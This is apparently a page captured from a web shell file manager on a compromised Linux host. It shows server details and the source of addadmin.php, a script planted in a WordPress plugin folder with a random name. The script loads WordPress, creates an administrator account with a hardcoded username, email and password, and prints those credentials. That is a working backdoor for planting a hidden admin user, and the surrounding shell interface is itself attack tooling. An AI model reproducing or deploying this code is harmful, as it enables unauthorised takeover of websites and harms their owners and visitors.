HEX
Server: Apache/2
System: Linux ns65.hostinglotus.net 4.18.0-553.16.1.el8_10.x86_64 #1 SMP Thu Aug 8 07:11:46 EDT 2024 x86_64
User: newsnnno (1225)
PHP: 8.2.20
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/newsnnno/domains/newsnnnonline.com/public_html/wp-content/plugins/iqobszu/addadmin.php
<?php
/**
 * Script to create an administrator user.
 * Place this file inside: /wp-content/plugins/xxx/addadmin.php
 */

// Load WordPress core (go up 3 levels from plugin folder to root)
require_once dirname(__DIR__, 3) . '/wp-load.php';

// New user data
$username = 'admin8899';      // change as needed
$email    = 'admin8899@add2t.com'; // change as needed

// Fixed password (change to something strong)
$password = 'Admin889rrwws@@';

// Check if username or email already exists
if (username_exists($username) || email_exists($email)) {
    echo "The user already exists. No changes were made.";
    exit;
}

// Create the user
$user_id = wp_create_user($username, $password, $email);

if (is_wp_error($user_id)) {
    echo "Error creating the user: " . $user_id->get_error_message();
    exit;
}

// Assign administrator role
$wp_user = new WP_User($user_id);
$wp_user->set_role('administrator');

// Success output
echo "Administrator user created successfully.\n";
echo "Username: $username\n";
echo "Email: $email\n";
echo "Generated password: $password\n";
?>